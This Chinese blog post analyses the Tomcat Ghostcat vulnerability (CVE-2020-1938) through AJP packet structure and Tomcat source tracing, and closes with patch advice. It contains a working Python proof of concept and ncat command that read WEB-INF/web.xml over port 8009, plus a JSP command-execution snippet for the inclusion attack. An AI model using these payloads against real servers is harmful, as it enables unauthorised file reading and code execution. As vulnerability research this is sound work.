CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp协议 任意文件读取/JSP文件包含漏洞分析


前言

  • 你需要了解ajp的基本概念

    AJP协议是定向包(面向包)协议,采用二进制形式代替文本形式,以提高性能。可以说是http协议的二进制版本,正因如此浏览器不能直接与ajp通信,需要一些工具才行,后面已经放出。

    Tomcat通常有两个Connector

    • HTTP Connector:负责建立HTTP连接。Tomcat拥有此连接器才能成为一个web服务器;它还可以额外处理Servlet和jsp。在通过浏览器访问Tomcat服务器的Web应用时,使用的就是这个连接器。
    • AJP Connector:负责和其他的HTTP服务器建立连接。在把Tomcat与其他HTTP服务器集成时,就需要用到这个连接器。AJP连接器可以通过AJP协议和一个web容器进行交互。
  • 官方文档:https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html

  • 中文版文档:https://blog.51cto.com/guojuanjun/688559

  • 本篇所有代码及工具均已上传至gayhub:https://github.com/yq1ng/Java

环境搭建

不深入分析原理可以使用vulhub一键搭建环境,本地搭建参考坏蛋呆呆包华杰 两位师傅的文章

漏洞概述

CVE-2020-1938:https://nvd.nist.gov/vuln/detail/CVE-2020-1938

长亭幽灵猫(带线上检测):https://www.chaitin.cn/zh/ghostcat

一句话:在受影响版本内tomcat默认开启了ajp connector,并监听0.0.0.0:8009,导致可以读取任意文件

影响范围:Apache Tomcat 9.x < 9.0.31,Apache Tomcat 8.x < 8.5.51,Apache Tomcat 7.x < 7.0.100,Apache Tomcat 6.x

漏洞检测

使用Xary即可检测

漏洞利用

任意文件读取

使用轮子

使用大佬写好的工具:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

image-20210517220424527

image-20210518011104612

自己造轮子

这里仅给出一个poc,因为有许多轮子了,我就不造了,懒癌~~

首先要知道漏洞怎么出现的,这一小段应归属到漏洞分析里,就酱紫吧嘻嘻。

使用argherna师傅的ajp通讯工具,同时wireshark抓包,使用过滤器:tcp.port==8009查看与8009端口的全部通信,也可以用ajp13 过滤只看ajp13协议的通信

image-20210517231814656

image-20210517231945326

将第一个以ajp协议通信的包(22:REQ:GET…)提出详细查看,从包中也可以看到ajp协议其实与http协议相当类似,其version甚至直接写为HTTP/1.1,Method也是GET

image-20210517234513077

由官方文档可知,ajp请求报文结构(Request Packet Structure)应该是这样的

0x1234+Data Length+Data

image-20210514112748703

Data组成是这样的,以0xff结束

image-20210517235800415

所以ajp的请求包就是:MAGIC (1234) + DATA LENGTH + DATA + END (ff),DATA LENGTH是完整数据包除去MAGIC和最后的0xff结束标识,将抓到的数据被copy下来细看

image-20210518000138860

我的是1234006102020008485454502f312e310000102f646f63732f696e6465782e68746d6c0000093132372e302e302e310000057971316e670000096c6f63616c686f73740000500000000a000f414a505f52454d4f54455f504f5254000005323232333600ff,看看DATA LENGTH是否是上述所说

image-20210518000626897

安恒信息安全研究院的【WEB安全】Tomcat-Ajp协议漏洞分析一文提到可以控制request的Attribute属性来达到任意文件读取,在文档中也找到关于Attribute的介绍

image-20210518002955877

从上面的一堆十六进制也可以找到以0x0a开头,0xff结尾的一段:0a000f414a505f52454d4f54455f504f5254000005323232333600,直接转换进制可以发现这就是REQ:GET包中的最后一个键值对。这段十六进制中0a00req_attribute 的开始标识,0f则是键的长度,414a505f52454d4f54455f504f5254AJP_REMOTE_PORT0000用于分割键和值,053232323336是522236,00表示键值对结束

image-20210518004005202

这些数据怎么构造的已经知道了,那么再从安恒的文章中将利用点抽出来,修改数据包即可成功利用漏洞。也就是把AJP_REMOTE_PORT:22236改成

javax.servlet.include.request_uri: /WEB-INF/web.xml
javax.servlet.include.path_info: web.xml
javax.servlet.include.servlet_path: /WEB-INF/

再修改DATA LENGTH,发送数据包即可。

# -*- coding: utf-8 -*-
# @Author: yq1ng
# @Date:   2021-05-18 00:45:29
# @Last Modified by:   yq1ng
# @Last Modified time: 2021-05-18 01:07:23

import binascii

AJP_MAGIC = b'1234'
AJP_HEADER = b'02020008485454502f312e310000102f646f63732f696e6465782e68746d6c0000093132372e302e302e310000057971316e670000096c6f63616c686f73740000500000000a000f414a505f52454d4f54455f504f5254000005323232333600'
Attribute = {
    'javax.servlet.include.request_uri': '/WEB-INF/web.xml',
    'javax.servlet.include.path_info': 'web.xml',
    'javax.servlet.include.servlet_path': '/WEB-INF/',
}

def str_len(attr):
    attr_len = hex(len(attr))[2:].encode().zfill(2)
    return attr_len + binascii.hexlify(attr.encode())

req_attribute = b''
for key,value in Attribute.items():
    req_attribute += b'0a00' + str_len(key) + b'0000' + str_len(value) + b'00'

AJP_DATA = AJP_HEADER + req_attribute + b'ff'
AJP_DATA_LENGTH = hex(len(binascii.unhexlify(AJP_DATA)))[2:].zfill(4)
AJP_FORWARD_REQUEST = AJP_MAGIC + AJP_DATA_LENGTH.encode() + AJP_DATA
print(AJP_FORWARD_REQUEST)

win10使用wt终端失败了,用了cmder,命令:python poc.py | xxd -r -p | ncat -v 127.0.0.1 8009

image-20210518010902577

image-20210518011018378

成功读取,算是一个poc吧,其他的自由发挥

通过包含jsp文件进行rce

用的轮子,先验证。新建文件apache-tomcat-7.0.99-src\home\webapps\ROOT\shell.txt,内容为一句话,写反弹shell也可,我是win10,反弹失败了。。。

注:此漏洞在包含文件时 , 不考虑被包含文件的后缀名。即文件内有jsp代码则执行,没有则直接输出

修改大佬poc代码,将296行的asdf改为asdf.jspx,就是访问一个不存在的jsp文件。

shell内容为<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>

image-20210518164203159

包含利用还是有点困难的,你需要有可控rce文件或者任意文件上传才行

自己造轮子的话就用ajp通讯访问不存在的jsp文件,再次更改数据包即可,不做演示。。。

漏洞原理

Tomcat默认配置文件:conf/server.xml配置的两个Connector默认监听外网:0.0.0.0:80800.0.0.0:8009

image-20210518170006554

Tomcat架构

先来一张顶层架构图

image-20210518211005957

Server

  1. Server代表整个servlet 容器,它由 org.apache.catalina.Server 接口定义 ,标准实现是org.apache.catalina.core.StandardServer
  2. 一个Server可以包含一个或多个Services
  3. conf/server.xml配置文件中它必须是最外面的单个元素,因此它的属性也代表了整个servlet的特征
  4. Server标签的三个属性:
    • className:需实现的Java类,此类必须实现org.apache.catalina.Server接口,未指定则使用标准实现
    • port:该服务器等待关闭命令的TCP / IP端口号,一般为8005;设置为-1则为禁用关闭端口
    • shutdown:为了关闭Tomcat,必须通过与指定端口号的TCP / IP连接接收的命令字符串

image-20210518213243681

Service

  1. Service 用于对外提供服务连接,例如同时提供不同协议连接(HTTP , HTTPS , AJP);同时提供不同端口连接
  2. Service默认只有一个,也就是一个 Tomcat 实例默认一个 Service
  3. Service元素很少由用户定制,一般默认实现即可
  4. 一个 Service 包含多个连接器和一个容器
  5. Service可以嵌套一个或多个Connector元素,但必须有一个Engine元素
  6. Service两个属性:
    • className:需实现的Java类,此类必须实现org.apache.catalina.Service接口,未指定则使用标准实现:org.apache.catalina.core.StandardService
    • name:Service显示名称,必须唯一

Connector

  1. 一个 Service 可以多个 连接器,接受不同连接协议

  2. Connector用于处理与客户端的通信;Connector接受请求并将请求封装成Request和Response,然后交给Container进行处理,Container处理完之后在交给Connector返回给客户端

    以下摘自码哥字节—Tomcat 架构原理解析到架构设计借鉴]

    image-20210518221035206

    Connector的三个核心组件 EndpointProcessorAdapter来分别做三件事情,其中 EndpointProcessor放在一起抽象成了 ProtocolHandler组件

    • EndPoint是通信端点,即通信监听的接口,是具体的 Socket 接收和发送处理器,是对传输层的抽象,因此 EndPoint是用来实现 TCP/IP 协议数据读写的,本质调用操作系统的 socket 接口
    • Processor 用来实现 HTTP 协议,Processor 接收来自 EndPoint 的 Socket,读取字节流解析成 Tomcat Request 和 Response 对象,并通过 Adapter 将其提交到容器处理,Processor 是对应用层协议的抽象
    • Adapter 将Processor转换后的 Request 请求提交给 Container 进行具体的解析

Container

  1. Container用于封装和管理Servlet,以及具体处理Request请求,处理完毕生成Response并返回给Connector 组件

  2. 其含有四种容器: EngineHostContextWrapper

    image-20210518221856867

    Engine

    1. Engine表示特定服务的请求处理管道,用于管理多个站点(Host)
    2. 服务可能有多个连接器,Engine接收并处理来自这些连接器的所有请求,将响应返回给适当的连接器,以便传输给客户端
    3. Service必须内嵌一个Engine
    4. 五个属性:
      • backgroundProcessorDelay:调用backgroundProcess方法与子容器的延迟时间,默认10s
      • className:需实现的Java类,此类必须实现org.apache.catalina.Engine接口,未指定则使用标准实现:org.apache.catalina.core.StandardEngine
      • defaultHost:默认的主机名;此名称必须与嵌套在name 其中的Host元素之一的属性匹配
      • jvmRoute:负载平衡
      • name:用于日志和错误消息。在同一台Server中使用多个Service元素时 ,必须为每个引擎分配一个唯一的名称

    Host

    1. Host表示一个虚拟主机,或者说一个站点,一个 Tomcat 可以配置多个站点(Host)
    2. 一个站点( Host) 可以部署多个 Web 应用
    3. Host 内部可能有多个 Context 容器

    Context

    1. 一个 Context 代表一个Web应用程序,每个 Context 具有唯一的路径
    2. 一个 Context 可以有多个 Servlet

    Wrapper

    1. Tomcat最底层容器
    2. 一个 Wrapper 封装一个 Servlet , 它负责管理一个 Servlet , 包括的 Servlet 的装载 , 初始化 , 执行以及资源回收

Tomcat如何从url定位到servlet

比如我访问http://yq1ng.com:8080/a/b,怎么定位到servlet?

  1. 首先根据协议和端口号确定 Service 和 Engine。请求被Connector得到,由Connector确定Service,而一个Service有一个Engine,即确定Engine
  2. 由域名确定Host
  3. 由URL确定Context容器。根据/a确定Context容器
  4. 由URL确定Wrapper(servlet)。Context确定后再根据web.xml 中配置的 Servlet 映射路径来找到具体的 Wrapper 和 Servlet

这一系列的调用如何实现? Pipeline-Valve 管道Pipeline-Valve 是责任链模式,责任链模式是指在一个请求处理的过程中有很多处理者依次对请求进行处理,每个处理者负责做自己相应的处理,处理完之后将再调用下一个处理者继续处理。

其调用如下

image-20210518224214708

只有上层管道的 BaseValve 才能调用子容器的管道

觉不觉得这架构就是套娃,哈哈

漏洞分析

根据前辈的复现思路:在gayhub查看commit,因为时间久远就把Epicccal师傅的图拿来了

img

Processor

由Tomcat架构了解到Connector的Engine部件接收请求然后提交给Processor 部件,这里使用的是AJP协议,所以以java/org/apache/coyote/ajp/AjpProcessor.java:prepareRequest()作为起点,此处开始处理接收到的AJP数据包

image-20210518225821380

由注释可知,此函数主要解析部分请求头,跟进来到java/org/apache/coyote/ajp/AbstractAjpProcessor.java

  1. 解析HTTP方法

    image-20210518230337805

  2. 解析Headers

    image-20210518230652049

  3. 解析额外属性

    image-20210518230917198

    image-20210518231014911

    往下走可以发现 n 和 v 其实就是我们的payload,而下面的三个if判断了额外属性是否为私有属性,若不是则将其设置为requests的键值对,顶层的while循环将我们的payload都设置为requests的键值对

    image-20210518231552812

    再往下检查了是否设置secret和请求URL是否为http://开头。若有secret则403;是http就解析出host。我们的payload显然不满足,所以都跳过

    此处可以知道设置secret可以防止此漏洞

    image-20210518231913869

至此,prepareRequest工作完成,根据架构可知下一步应到Adapter进行后续解析

Adapter

继续往下走,到java/org/apache/coyote/ajp/AjpProcessor.java:191,继续跟进

image-20210518232714684

走到java/org/apache/catalina/connector/CoyoteAdapter.java:408,开局创建两个对象(你有吗)。为何创建对象?仔细看,一个是更为底层的Request(未实现HttpServletRequest接口),一个是Tomcat的Request(实现HttpServletRequest接口),所以来了一个中间商将其转换后再交给Servlet.service()

image-20210518233137296

下面就是初始化一下,并给Response添加一个X-Powered-By属性,再去调用postParseRequest(),跟进此函数

这个函数干了好多事,它解析了代理,解析了URL,处理了Session等等,主要是确定了Context和Wrapper

image-20210518234448801

然后return,接着走,在第452行Adapter将锅交给Container,让其调用对应的Servlet

image-20210518234742777

责任链

还记得上面的责任链吗。跟进connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);invoke()来到java/org/apache/catalina/core/StandardEngineValve.java,该函数的作用就是选择后面要用的Host,然后invoke

image-20210518235214062

责任链(套娃)的第一个管道开始了java/org/apache/catalina/valves/AccessLogValve.java

image-20210518235306683

java/org/apache/catalina/valves/ErrorReportValve.java

image-20210518235445855

java/org/apache/catalina/core/StandardHostValve.java,这也是第一个BaseValue。然后呢?只有上层管道的 BaseValve 才能调用子容器的管道,所以会找到要使用的 Context 进行invoke

image-20210518235754960

继续走是java/org/apache/catalina/authenticator/AuthenticatorBase.java,此处又是getNext().invoke(),一样的

image-20210518235856881

来到java/org/apache/catalina/core/StandardContextValve.java,这也是个BaseValue,然后选择wrapper,再invoke

image-20210519000308002

image-20210519000404098

跟进走到java/org/apache/catalina/core/StandardWrapperValve.java,由前面可知wrapper是最小的容器了,所以责任链到这里也就结束了,下面请Servlet表演

Servlet

前面的初始化不说了,直接来到135行,使用wrapper.allocate()分配Servlet实例

image-20210519000921575

再往下的180行,创建两个过滤器

image-20210519001117575

220的doFilter()进行过滤,跟进来到java/org/apache/catalina/core/ApplicationFilterChain.java,函数最后调用internalDoFilter(request,response),继续跟,303行调用servlet.service(),一路F7来到java/org/apache/catalina/servlets/DefaultServlet.java:getRelativePath():374,调用堆栈如下

image-20210519002116853

漏洞点

想想开始发送payload的三个属性,如果javax.servlet.include.request_uri属性存在,则将我们传入的javax.servlet.include.path_infojavax.servlet.include.servlet_path拼接后再return,这样的话return的刚好是我们要读取的文件

image-20210519002633524

接着往下会调用lookupCache()去缓存里面找我们要的文件,第一次读肯定是没有的,跟进看看具体做了什么。其用lookupfind() 函数来查找文件是否在缓存中,没有则用File类来读取文件

image-20210519003354338

继续跟进,在java/org/apache/naming/resources/FileDirContext.java处读取,其中base保存了本目录下所有文件来匹配name,这么拼接出来结果就是我们要读取文件的绝对路径

image-20210519003657830

再往下就是对文件的基本判断,存在啦,可读啦,啥啥的

image-20210519003946230

然后走到861行在这里调用normalize()来限制跨目录,所有我们只能读取ROOT下的文件

image-20210519004758773

最后return file

image-20210519004233815

后面再次调用cacheLoad(),读取文件,并将读取到的文件内容生成Response返回客户端,不搞了。。。

jsp包含其实和上面一样,无非就是在java/org/apache/catalina/core/StandardContextValve.java选择Servlet后的service判断了是否为jsp,如果是那就调用JSP Servlet(serviceJspFile())

漏洞补丁/修复

参考长亭文章:

  1. Tomcat 官方已发布 9.0.31、8.5.51 及 7.0.100 版本针对此漏洞进行修复。

  2. 未使用 Tomcat AJP 协议,则可以直接将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本进行漏洞修复

    若无法更新,则在conf/server.xml<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />注释or删除

  3. 使用了 Tomcat AJP 协议,则建议将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本,同时为 AJP Connector 配置 secret 来设置 AJP 协议认证凭证

    或者 将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值:<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET" />

    或者 AJP Connector 配置 requiredSecret 来设置 AJP 协议认证凭证:<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" requiredSecret="YOUR_TOMCAT_AJP_SECRET" />

参考

[CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp 协议任意文件读取/JSP文件包含漏洞分析]

不调试源码重现 Ghostcat 漏洞 (CVE-2020-1938)

Ghostcat 是存在于 Tomcat 中的高危文件读取/包含漏洞【 CVE-2020-1938 】

argherna:ajp client

【WEB安全】Tomcat-Ajp协议漏洞分析

Tomcat Architecture

Tomcat 架构原理解析到架构设计借鉴

四张图带你了解Tomcat系统架构–让面试官颤抖的Tomcat回答系列!

AJP Protocol Reference

AJP协议总结与分析


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录